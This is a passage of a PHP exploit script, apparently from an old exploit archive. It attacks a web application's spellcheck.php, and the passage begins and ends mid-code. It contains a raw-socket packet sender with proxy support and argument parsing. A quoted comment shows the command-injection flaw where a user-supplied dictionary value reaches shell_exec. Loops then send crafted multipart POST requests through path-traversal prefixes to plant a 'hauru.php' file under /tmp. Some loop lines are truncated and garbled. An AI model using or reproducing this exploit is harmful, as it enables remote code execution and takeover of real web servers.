126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function wyslijpakiet($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'bad patch!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
/*
Bad code:
file spellcheck.php:
=============================================================================
$uripath
";
// if text+check is supplied, first open and create $temptext, then spell check
if (trim($text)!="" && ($_POST['submit']=="check" || $_POST['submit']=="check igen")) {
####### COFIG START ########
$temptext= tempnam("/tmp", "spelltext");
// if you spellcheck alot of HTML, add the -H flag to aspell to put it in SGML mode
$aspellcommand= "cat $temptext | /usr/bin/ispell -a -d$dict"; // <----------------------[^^]
$indicator= "bold";
$opener= "";
$closer= "";
######## END OF CONFIG ##########
if ($fd=fopen($temptext,"w")) {
$textarray= explode("\n",$text);
fwrite($fd,"!\n");
foreach($textarray as $key=>$value) {
// adding the carat to each line prevents the use of aspell commands within the text...
fwrite($fd,"^$value\n");
}
fclose($fd);
// run aspell
$return= shell_exec($aspellcommand); // <----------------------[^^^]
=============================================================================
nice code :)
*/
echo "Bug #1 (try insert poison file! work only when register globals = off)\n\n";
$paths=array("../../../../../../../../../tmp/",
"../../../tmp/",
"../../../../tmp/",
"../../../../../tmp/",
"../../../../../../tmp/",
"../../../../../../../tmp/",
"../../../../../../../../tmp/");
for ($i=0; $i > ".$my_path."hauru.php;\r\n";
$data ="-----------------------------b04bc63706572\r\n";
$data.="Content-Disposition: form-data; name=\"submit\";\r\n\r\n";
$data.="check\r\n";
$data.="-----------------------------b04bc63706572--\r\n";
$packet ="POST ".$p."core/spellcheck/spellcheck.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------b04bc63706572\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
wyslijpakiet($packet);
sleep(1);}
$paths=array("../../../../../../../../../tmp/",
"../../../tmp/",
"../../../../tmp/",
"../../../../../tmp/",
"../../../../../../tmp/",
"../../../../../../../tmp/",
"../../../../../../../../tmp/");
for ($i=0; $i